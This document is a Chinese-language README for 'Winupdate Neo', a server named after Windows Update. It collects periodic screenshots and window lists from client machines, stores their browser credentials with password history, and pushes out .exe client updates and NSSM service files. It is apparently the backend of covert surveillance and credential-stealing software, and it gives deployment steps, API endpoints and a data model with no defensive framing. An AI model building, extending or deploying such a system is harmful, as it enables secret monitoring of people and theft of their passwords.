Winupdate Neo
一个基于 Next.js + Prisma + MinIO 的“主机截图与版本分发平台”。用于接收客户端上报的屏幕截图与窗口信息,保存到对象存储;配套 Web UI 浏览、检索与收藏记录,并提供将一段时间内的截图压制为视频的能力。同时支持客户端版本文件的上传与分发,以及主机浏览器凭据(含历史密码)入库与查询。
功能一览
- 主机与记录
- 接收主机上报的多张截图与窗口信息,自动建档并存储
- 按主机、时间范围检索记录;星标记录管理与分页
- 小时维度“活跃度”时间分布统计
- 媒体处理与下载
- 截图以 AV1(.avif)压缩后存入 MinIO
- 将一段时间内的截图转码为 MP4(SVT-AV1 编码)供下载
- 文件直链下载(版本文件/截图等)
- 凭据采集
- 上报主机浏览器凭据(含历史密码版本),去重合并保存
- 版本分发
- 上传客户端新版本(.exe),自动生成校验和与下载地址,并标记最新
- 查询最新版本信息与下载链接
- 计划任务与通知
- node-cron 定时任务管理(示例:整点任务、每日清理)与前端管理页 /tasks
- 可选 QQ 机器人 WebHook 推送“主机上线/离线”等通知
- 安全与访问控制
- 页面侧(非 API)支持 Basic Auth;API 默认允许跨域(withCors)
技术栈
- Next.js 15 + React 19 + TypeScript
- Prisma 6(PostgreSQL)
- MinIO(S3 兼容对象存储)
- node-cron 定时任务
- Tailwind CSS v4
- 运行与进程管理:Bun、PM2
- 媒体处理:FFmpeg(libsvtav1)
目录结构(节选)
app/
hosts/
route.ts # 主机列表 API(GET)
[hostname]/
page.tsx # 主机详情页(UI)
credentials/route.ts # 凭据:GET/POST
screenshots/route.ts # 截图:GET(查询)/POST(上传)
starred/route.ts # 星标记录:GET(分页)/POST(批量标记)
time-distribution/route.ts# 小时分布统计
downloads/[fileId]/route.ts # 文件下载(版本、nssm)
screenshots/[fileId]/route.ts # 截图文件回源
api/
tasks/route.ts # 计划任务状态/控制
generate/video/route.ts # 按时间段合成视频(MP4)
version/route.ts # 获取最新版本(API 变体)
version/route.ts # 获取最新版本(App 路由变体)
lib/
prisma.ts # PrismaClient 单例
config.ts # 端口与 Basic Auth 配置
middleware.ts # withAuth / withCors 辅助
fileStorage.ts # MinIO 存储封装(put/get/delete/stat)
minioClient.ts # MinIO 客户端与初始化
encodeVideo.ts # 图片压制为 AV1 视频
scheduler.ts / init-scheduler.ts # 定时任务注册
push/qq.ts # QQ Bot 推送
prisma/
schema.prisma # 数据模型
pm2.config.js # PM2 生产运行配置
middleware.ts # Next 中间件:页面 Basic Auth
前置依赖
- Node.js 18+(推荐 20+)
- Bun(推荐,仓库包含 bun.lock)
- PostgreSQL 数据库
- MinIO(或任意 S3 兼容对象存储)
- FFmpeg(需包含 libsvtav1 编码器)
环境变量
在项目根目录创建 .env(生产环境同样需要):
# Server
PORT=3000
NODE_ENV=development
# Basic Auth(仅页面侧使用,API 默认不校验)
AUTH_USERNAME=admin
AUTH_PASSWORD=password
# Database(PostgreSQL)
DATABASE_URL="postgresql://user:pass@localhost:5432/winupdate_neo?schema=public"
# MinIO / S3
MINIO_ENDPOINT=127.0.0.1
MINIO_PORT=9000
MINIO_USE_SSL=false
MINIO_ACCESS_KEY=your_minio_access_key
MINIO_SECRET_KEY=your_minio_secret_key
MINIO_BUCKET_NAME=winupdate
# 可选:QQ Bot 推送
QQ_BOT_URL=
QQ_BOT_TARGET_ID=
提示:PM2 配置会读取当前目录下的 .env(pm2.config.js 内部使用 dotenv 载入),生产环境注意设置强口令与私密变量。
安装与运行
- 安装依赖
bun install
- 生成 Prisma Client 并迁移数据库(开发)
bun run db:generate
bun run db:migrate
- 开发运行
bun run dev
- 构建与启动(本地/容器)
bun run build
bun run start
- 使用 PM2 生产部署(推荐)
# 首次
pm2 start pm2.config.js
# 查看状态
pm2 status
# 查看日志
pm2 logs winupdate-neo --lines 200
# 更新版本后重启
pm2 restart winupdate-neo
日志默认输出至 logs/,可在 pm2.config.js 中调整。
数据模型(Prisma)
- Host:主机,按 hostname 唯一
- Record:一次上报记录,关联若干 Window 与 Screenshot,支持 isStarred
- Window:窗口信息(title/path/memory),memory 为 BigInt
- Screenshot:截图文件元信息,核心为 objectName(MinIO 对象名)
- Credential:主机-用户-浏览器-URL-Login 唯一,含 lastSyncTime
- Password:凭据的历史密码值(时间序列)
- Version:版本文件元信息(fileId/objectName/checksum/isLatest)
- Nssm:辅助可下载文件的元信息
MinIO 存储约定
- 桶名:MINIO_BUCKET_NAME(默认 winupdate)
- 对象路径:
- 截图:screenshots/YYYY/MM/DD/{hostname}/{uuid}.avif
- 版本:versions/YYYY/MM/{uuid}.exe
- 其他:files/YYYY/MM/DD/{uuid}
- 常用元数据:
- Content-Type、X-Original-Filename、X-File-ID、X-Upload-Time、X-File-Type、X-Hostname
核心 API(节选)
- 主机列表
- GET /hosts
- 截图上传/查询(按主机)
- POST /hosts/{hostname}/screenshots(multipart/form-data)
- 字段:windows_info(JSON 字符串),screenshot_0..n(文件)
- GET /hosts/{hostname}/screenshots?startTime=...&endTime=...
- 支持 Unix 秒或 ISO 时间,返回 records + windows + screenshots(windows.memory 已转 string)
- POST /hosts/{hostname}/screenshots(multipart/form-data)
- 星标记录(按主机)
- GET /hosts/{hostname}/starred?page=1&limit=50
- POST /hosts/{hostname}/starred
- JSON:{ "action": "star"|"unstar", "recordIds": ["..."] }
- 切换单条记录星标
- PATCH /api/records/{recordId}/star
- 凭据
- POST /hosts/{hostname}/credentials(Body 为特殊数组结构,首项形如 ["User", "username"],其后为浏览器项)
- GET /hosts/{hostname}/credentials(包含密码历史,降序)
- 时间分布统计(小时)
- GET /hosts/{hostname}/time-distribution?from=ISO&to=ISO
- 返回:[{ timestamp: 秒, count }...]
- 截图文件
- GET /screenshots/{fileId}
- 版本文件下载
- GET /downloads/{fileId}
- 最新版本查询
- GET /version(App 路由)或 GET /api/version(API 路由),均返回 { version, download_url, checksum }
- 截图合成视频(MP4)
- GET /api/generate/video?hostname=xxx&startTime=unixSec&endTime=unixSec
跨域:大多数 API 通过 withCors 允许跨域(Access-Control-Allow-Origin: *)。
示例:上传截图
curl -X POST "http://localhost:3000/hosts/TEST-PC/screenshots" \
-F "windows_info=[{\"title\":\"Explorer\",\"path\":\"C:/Windows/explorer.exe\",\"memory\":12345}]" \
-F "screenshot_0=@/path/to/a.png" \
-F "screenshot_1=@/path/to/b.png"
示例:批量星标
curl -X POST "http://localhost:3000/hosts/TEST-PC/starred" \
-H "Content-Type: application/json" \
-d '{"action":"star","recordIds":["rec_xxx","rec_yyy"]}'
示例:生成时间段视频
curl -L "http://localhost:3000/api/generate/video?hostname=TEST-PC&startTime=1751104800&endTime=1751108400" -o out.mp4
认证与安全
- 页面 Basic Auth:根中间件对大多数页面启用基本认证(用户名/密码来自 AUTH_USERNAME/AUTH_PASSWORD)。以下路径跳过认证:
- /api/、/screenshots/、/downloads/、/_next/、/favicon.ico,以及所有 POST 请求等
- API 跨域:默认允许任意来源(可按需收紧)
- 建议:
- 生产开启 HTTPS
- 使用强口令并限制来源 IP
- 为数据库与对象存储设置最小权限账号
定时任务
- 由 lib/scheduler.ts 定义并在服务端初始化(lib/init-scheduler.ts)
- 已内置:
- 每小时第 30 分执行的示例任务
- 每日 02:00 清理任务(示例)
- 管理界面:/tasks,可查看状态并启动/停止
- 通过 /api/tasks 提供状态与控制 API
部署要点(PM2)
- 确保 .env、数据库与 MinIO 可用
- FFmpeg 必须包含 libsvtav1(否则截图转码/视频合成会失败)
- 启动:pm2 start pm2.config.js(脚本使用 bun run start,端口默认 12398,可由 .env PORT 覆盖)
- 日志:logs/ 目录
常见问题(FAQ)
- MinIO 连接失败
- 检查 MINIO_ENDPOINT/MINIO_PORT/MINIO_ACCESS_KEY/MINIO_SECRET_KEY
- 确认桶 MINIO_BUCKET_NAME 已存在
- 截图上传 500/视频生失败
- 确认 FFmpeg 安装且包含 libsvtav1;服务器有足够的 CPU 与临时磁盘
- JSON 序列化 BigInt 报错
- API 层已处理 window.memory 的 BigInt->string,前端请按字符串消费
- 版本下载 404
- /downloads/{fileId} 会在 versions 与 nssm 两表中查找,请确认 fileId 与库内记录一致
开发提示
- 新增模型后:更新 prisma/schema.prisma -> bun run db:generate -> bun run db:migrate
- 新增静态/下载接口时:优先只暴露 fileId,后端内部解析为 objectName 再从 MinIO 取文件
- encodeVideo.ts 的 concat+SVT-AV1 管道对输入图片顺序敏感,注意生成 list.txt 的顺序
许可
未设置许可(License)。如需开源或分发,请在提交前添加合适的 LICENSE 文件。
如需更多部署细节,可参考仓库中的 DEPLOYMENT.md。
Description
Languages
TypeScript
95.9%
Batchfile
2.1%
JavaScript
1.7%
CSS
0.3%